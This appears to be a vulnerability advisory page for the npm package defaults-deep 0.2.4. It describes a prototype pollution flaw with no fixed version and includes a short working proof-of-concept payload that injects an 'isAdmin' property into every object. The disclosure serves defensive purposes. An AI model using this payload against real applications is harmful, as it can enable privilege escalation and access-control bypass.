defaults-deep@0.2.4 vulnerabilities

Like `extend` but recursively copies only the missing properties/values to the target object.

Direct Vulnerabilities

Known vulnerabilities in the defaults-deep package. This does not include vulnerabilities belonging to this package’s dependencies.

Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.
Fix for free
Vulnerability Vulnerable Version
  • H
Prototype Pollution

defaults-deep is a like extend but recursively copies only the missing properties/values to the target object.

Affected versions of this package are vulnerable to Prototype Pollution. Provided certain input defaults-deep can add or modify properties of the Object prototype. These properties will be present on all objects.

##PoC

var defaultsDeep = require('defaults-deep');
var payload = JSON.parse('{"constructor": {"prototype": {"isAdmin": true}}}');
defaultsDeep({}, payload);
console.log({}.isAdmin); // true

How to fix Prototype Pollution?

There is no fixed version for defaults-deep.

*